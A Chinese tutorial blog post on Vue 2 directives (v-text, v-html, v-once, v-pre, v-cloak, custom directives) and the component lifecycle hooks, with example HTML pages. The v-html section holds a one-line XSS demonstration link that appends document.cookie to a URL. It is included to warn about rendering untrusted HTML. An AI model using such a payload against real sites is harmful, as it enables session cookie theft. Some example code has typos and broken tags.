03.VUE详细整理(三)--VUE指令与生命周期-尚硅谷最新课程

1. 常用内置指令

01.总览

	我们学过的指令:
		v-bind	: 单向绑定解析表达式, 可简写为 :xxx
		v-model	: 双向数据绑定
		v-for  	: 遍历数组/对象/字符串
		v-on   	: 绑定事件监听, 可简写为@
		v-if 	: 条件渲染(动态控制节点是否存存在)
		v-else 	: 条件渲染(动态控制节点是否存存在)
		v-show 	: 条件渲染 (动态控制节点是否展示)
		v-text指令:
			1.作用:向其所在的节点中渲染文本内容,放入标签则也会被当成文本解析
			2.与插值语法的区别:v-text会替换掉节点中的内容,你原来的内容会被代替,
                        无法与原来的内容一起出现,{{xx}}则可以。
  • v-text : 更新元素的 textContent
  • v-html : 更新元素的 innerHTML
  • v-if : 如果为true, 当前标签才会输出到页面
  • v-else: 如果为false, 当前标签才会输出到页面
  • v-show : 通过控制display样式来控制显示/隐藏
  • v-for : 遍历数组/对象
  • v-on : 绑定事件监听, 一般简写为@
  • v-bind : 强制绑定解析表达式, 可以省略v-bind
  • v-model : 双向数据绑定

02.v-text

  • v-text : 更新元素的 textContent
  1. 作用:向其所在的节点中渲染文本内容。

  2. 与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。

    <!DOCTYPE html>
    <html>
    <head>
    	<meta charset="UTF-8" />
    	<title>v-text指令</title>
    	<!-- 引入Vue -->
    	<script type="text/javascript" src="../js/vue.js"></script>
    </head>
    
    <body>
    	<!-- 准备好一个容器-->
    	<div id="root">
    		<div>你好,{{name}}</div>        //  你好,尚硅谷
    		<div v-text="name">你好,</div> //   尚硅谷
    		<div v-text="str"></div>       //   <h3>你好啊</h3>
    	</div>
    </body>
    
    <script type="text/javascript">
    	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    
    	new Vue({
    		el: '#root',
    		data: {
    			name: '尚硅谷',
    			str: '<h3>你好啊!</h3>'
    		}
    	})
    </script>
    </html>
    

03.v-html

前置知识:cookie:

image-20211208160006900

跨浏览器无法读取cookie

image.png

查看cookie key-value的组合

image-20211208160239755

xss:跨站脚本攻击

  • v-html : 更新元素的 innerHTML
  1. 作用:向指定节点中渲染包含html结构的内容。
  2. 与插值语法的区别:
    (1). v-html会替换掉节点中所有的内容,{{xx}}则不会。
    (2). v-html可以识别html结构。
  3. 严重注意:v-html有安全性问题!!!!
    (1). 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
    (2). 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>v-html指令</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<div>你好,{{name}}</div>
		<div v-html="str"></div>
		<div v-html="str2"></div>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
			str: '<h3>你好啊!</h3>',
			str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
		}
	})
</script>
</html>

04.v-once

  • v-once指令:
  1. v-once所在节点在初次动态渲染后,就视为静态内容了。
  2. 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

05.v-pre

  • v-pre指令:
  1. 跳过其所在节点的编译过程。(vue 不去解析 插值等语法)
  2. 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
  • ref : 为某个元素注册一个唯一标识, vue对象通过$refs属性访问这个元素对象
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

06.v-cloak

  • v-cloak : 使用它防止闪现表达式, 与css配合: [v-cloak] { display: none }
  1. 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
  2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题

实例1

script引入自制的server,作用是5s后script标签加载成功,注意script标签的的引入位置,是先执行html模板,5s后渲染页面{{name}}变为尚硅谷,想让{{name}}在5s内隐藏,不显示在页面中,script标签加载成功后直接出现尚硅谷,用v-cloak。

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>v-cloak指令</title>
	<style>
		[v-cloak] {
			display: none;
		}
	</style>
	<!-- 引入Vue -->
</head>

<body>
	<div id="root">
		<h2 v-cloak>{{name}}</h2>
	</div>
	<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>

<script type="text/javascript">
	console.log(1)
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷'
		}
	})
</script>
</html>

实例2

[v-clock] {
	display: none;
}
<body>
    <div id="demo">
        <p ref="content">baidu.comp>
        <button @click="hint">提示button>
        <p v-cloak>{{msg}}p>
    div>

    <script src="../js/vue.js">script>
    <script>
        new Vue({
            el: "#demo",
            data: {
                msg: "YK菌"
            },
            methods: {
                hint(){
                    alert(this.$refs.content.textContent);
                }
            }
        })
    script>
body>

2. 自定义指令

需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。

01 定义语法

(1) 局部指令

new Vue({
	directives:{指令名:配置对象}
})

new Vue({
	directives{指令名:回调函数}
})

实例

directives : {
	'my-directive' : {
		bind (el, binding) {
			el.innerHTML = binding.value.toupperCase()
		}
	}
}

(2) 全局指令

Vue.directive(指令名,配置对象)

Vue.directive(指令名,回调函数)

实例

Vue.directive('my-directive', function(el, binding){
	el.innerHTML = binding.value.toupperCase()
})

02 配置对象中常用的3个回调

  • bind:指令与元素成功绑定时调用。
  • inserted:指令所在元素被插入页面时调用。
  • update:指令所在模板结构被重新解析时调用。

03 备注

  1. 指令定义时不加v-,但使用时要加v-;
  2. 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。

04 使用指令

需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>自定义指令</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>{{name}}</h2>
		<h2>当前的n值是:<span v-text="n"></span> </h2>
		<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
		<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
		<button @click="n++">点我n+1</button>
		<hr />
		<input type="text" v-fbind:value="n">
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false

	//定义全局指令
	/* Vue.directive('fbind',{
		//指令与元素成功绑定时(一上来)
		bind(element,binding){
			element.value = binding.value
		},
		//指令所在元素被插入页面时
		inserted(element,binding){
			element.focus()
		},
		//指令所在的模板被重新解析时
		update(element,binding){
			element.value = binding.value
		}
	})
	Vue.directive('big',function(element, binding) { //两个参数:当前DOM元素(span),本次绑定的所有信息
				console.log(element, binding)
				// console.log('big', this) 
				//注意此处的this是window
				element.innerText = binding.value * 10
			},)
 */
	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
			n: 1
		},
		directives: {

			//指令名如果是多个单词,别忘了加"",方法内部放的是"key",value值,大部分情况""可省略,但加了-之后引号必须带。
			// 全写是: 'big-number':function(element,binding){} 
			/* 'big-number'(element,binding){
				// console.log('big')
				element.innerText = binding.value * 10
			}, */
            
			//函数写法
			// big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
			big(element, binding) { //两个参数:当前DOM元素(span),本次绑定的所有信息
				console.log(element, binding)
				// console.log('big', this) 
				//注意此处的this是window
				element.innerText = binding.value * 10
			},
             
             //对象写法
			fbind: {
				//指令与元素成功绑定时(一上来)调用
				bind(element, binding) {//两个参数:当前DOM元素(input),本次绑定的所有信息
					element.value = binding.value
				},
				//指令所在元素被插入页面时调用
				inserted(element, binding) {
					element.focus()
					// input输入框自动获取焦点,这句代码必须放在将input放入页面的后面
				},
				//指令所在的模板被重新解析时调用
				update(element, binding) {
					element.value = binding.value
					element.focus()
				}
			}
		}
	})

</script>

</html>

image-20211209105146991

3. vue对象的生命周期

生命周期:

  • 又名:生命周期回调函数、生命周期函数、生命周期钩子。

  • 是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。

  • 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。

  • 生命周期函数中的this指向是vm 或 组件实例对象(vue内部做了处理)。

  • 初始化显示

    • beforeCreate()
    • created()
    • beforeMount()
    • mounted()
  • 更新状态

    • beforeUpdate()
    • updated()
  • 销毁 vue 实例: vm.$destory()

    • beforeDestory()
    • destoryed()

官网生命周期图

4. 详细了解生命周期

01.了解beforeCreated

此时数据检测以及数据代理还未完成。无法访问data和methods方法(数据检测:setter和getter,数据代理:vm上直接访问data中的数据)

created的对象是数据代理和数据监听

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>引出生命周期</title>
    <!-- 引入Vue -->
    <script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>

<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>当前的n值是:{{n}}</h2>
        <button @click='add'>点我n+1</button>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el: '#root',
        data: {
            n: 1
        },
        methods: {
            add() {
                this.n++
            }
        },
        beforeCreate() {
            console.log('beforeCreated');
            console.log(this);//关注这一步
            debugger;
        }
    })

</script>

</html>

image-20211209201025925

02.了解created

此时数据检测和数据代理已经完成,可以访问到data和methods方法

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>引出生命周期</title>
    <!-- 引入Vue -->
    <script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>

<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>当前的n值是:{{n}}</h2>
        <button @click='add'>点我n+1</button>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el: '#root',
        data: {
            n: 1
        },
        methods: {
            add() {
                this.n++
            }
        },
        beforeCreate() {
            console.log('beforeCreated');
            // console.log(this);
        },
        created() {
            console.log('created');
            console.log(this);
            debugger;
        }
    })

</script>

</html>

image-20211209202349833

03.了解beforeMount

注意:此时操作dom,只会生效一瞬间,下一生命周期dom就会被之前渲染的虚拟dom覆盖

image-20211209203953259

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>引出生命周期</title>
    <!-- 引入Vue -->
    <script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>

<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>当前的n值是:{{n}}</h2>
        <button @click='add'>点我n+1</button>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el: '#root',
        data: {
            n: 1
        },
        methods: {
            add() {
                this.n++
            }
        },
        beforeCreate() {
            console.log('beforeCreated');
            // console.log(this);
        },
        created() {
            console.log('created');

        },
        beforeMount() {
            console.log('beforeMounted');
            console.log(this);
            document.querySelector('h2').innerText = '哈哈'// 此时操作dom 一瞬间会生效,但最终都无效果
            debugger;
        },
    })

</script>

</html>

image-20211209203742148

04.了解mounted

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>引出生命周期</title>
    <!-- 引入Vue -->
    <script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>

<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>当前的n值是:{{n}}</h2>
        <button @click='add'>点我n+1</button>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el: '#root',
        data: {
            n: 1
        },
        methods: {
            add() {
                this.n++
            }
        },
        beforeCreate() {
            console.log('beforeCreated');
            // console.log(this);
        },
        created() {
            console.log('created');

        },
        beforeMount() {
            console.log('beforeMounted');

        },
        mounted() {
            console.log('mounted');
            console.log(this);
            document.querySelector('h2').innerText = '哈哈'// 此时操作dom 会生效,但不推荐
            debugger;
        },
    })

</script>

</html>

image-20211209210901794

image-20211209210928111

05.补充之前一个生命周期的线

01.无el属性的情况

image-20211209212853997

02.有template模板的情况

image-20211209213834387

image-20211209213943158

06.了解beforeUpdate

此生命周期,页面和数据还未完成同步

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>引出生命周期</title>
    <!-- 引入Vue -->
    <script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>

<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>当前的n值是:{{n}}</h2>
        <button @click='add'>点我n+1</button>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el: '#root',
        data: {
            n: 1
        },
        methods: {
            add() {
                this.n++
            }
        },
        beforeCreate() {
            console.log('beforeCreated');
            // console.log(this);
        },
        created() {
            console.log('created');

        },
        beforeMount() {
            console.log('beforeMounted');

        },
        mounted() {
            console.log('mounted');

        },
        beforeUpdate() {
            console.log('beforeCreate');
            console.log(this.n);
            debugger;
        }
    })

</script>

</html>

image-20211209214843722

07.了解updated

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>引出生命周期</title>
    <!-- 引入Vue -->
    <script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>

<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>当前的n值是:{{n}}</h2>
        <button @click='add'>点我n+1</button>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el: '#root',
        data: {
            n: 1
        },
        methods: {
            add() {
                this.n++
            }
        },
        beforeCreate() {
            console.log('beforeCreated');
            // console.log(this);
        },
        created() {
            console.log('created');

        },
        beforeMount() {
            console.log('beforeMounted');

        },
        mounted() {
            console.log('mounted');

        },
        beforeUpdate() {
            console.log('beforeCreate');

        },
        updated() {
            console.log('updated');
            console.log(this.n);
            debugger;
        }
    })

</script>

</html>

image-20211209215259065

image-20211209215330221

08.了解beforeDestroy和destroy

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>引出生命周期</title>
    <!-- 引入Vue -->
    <script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>

<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>当前的n值是:{{n}}</h2>
        <button @click='add'>点我n+1</button>
        <button @click='destroy'>点我销毁</button>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el: '#root',
        data: {
            n: 1
        },
        methods: {
            add() {
                this.n++
            },
            destroy() {
                this.$destroy()
            }
        },
        beforeCreate() {
            console.log('beforeCreated');
            // console.log(this);
        },
        created() {
            console.log('created');

        },
        beforeMount() {
            console.log('beforeMounted');

        },
        mounted() {
            console.log('mounted');

        },
        beforeUpdate() {
            console.log('beforeCreate');

        },
        updated() {
            console.log('updated');
        },
        beforeDestroy() {
            console.log('beforeDestroy');
        },
        destroyed() {
            console.log('destroyed');
        }
    })

</script>

</html>

image-20211209220048553

image-20211209221145919

5.小结生命周期

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>引出生命周期</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>				
	<!-- 准备好一个容器-->
		<div id="root">
		<h2 :style="{opacity:opacity}">欢迎学习Vue</h2>
		<button @click="opacity = 1">透明度设置为1</button>
		<button @click="stop">点我停止变换</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
		el: '#root',
		data: {
			opacity: 1
		},
		methods: {
			stop() {
				this.$destroy()
			}
		},
            //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted(挂载),只是初始
            //化的时候调用了一次,后续数据更改重新解析模板时不会再次调用
		mounted() {
			console.log('mounted', this)
			this.timer = setInterval(() => {
				// 这里箭头函数无this,自动寻找上下文this,找到了mounted()的this,这个this指向vm
				console.log('setInterval')
				this.opacity -= 0.01
				if (this.opacity <= 0) this.opacity = 1
			}, 16)
		},
		beforeDestroy() {
			console.log('vm即将被销毁')
			clearInterval(this.timer)
			// 清除定时器
		},
	})

	//通过外部的定时器实现(不推荐)
	// setInterval(() => {
	// 	vm.opacity -= 0.01
	// 	if (vm.opacity <= 0) { vm.opacity = 1 }
	// }, 16)
</script>
</html>

推荐将清除定时器等操作放在beforeDestroy()周期内执行,保证路由切换等操作也会清除定时器

5. 常用的生命周期方法

  • mounted(): 发送ajax请求, 启动定时器、绑定自定义事件、订阅消息等异步任务【初始化操作】
  • beforeDestroy(): 做收尾工作, 如: 清除定时器、解绑自定义事件、取消订阅消息等【首尾工作】

6. 关于销毁Vue实例

  1. 销毁后借助Vue开发者工具看不到任何信息
  2. 销毁后自定义事件会失效,但原生DOM事件依然有效
  3. 一般不会在 beforeDestroy操作数据,因为即使操作数据,也不会再触发更新流程了。

7. 父子组件的生命周期

  1. 加载渲染过程
父beforeCreate -> 父created -> 父beforeMount -> 子beforeCreate->子created->子beforeMount->子mounted->父mounted
  1. 更新过程
父beforeUpdate->子beforeUpdate->子updated->父updated
  1. 销毁过程
父beforeDestroy->子beforeDestroy->子destroyed->父destroyed
  1. 常见钩子版本
父beforeDestroy->子beforeDestroy->子destroyed->父destroyed
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值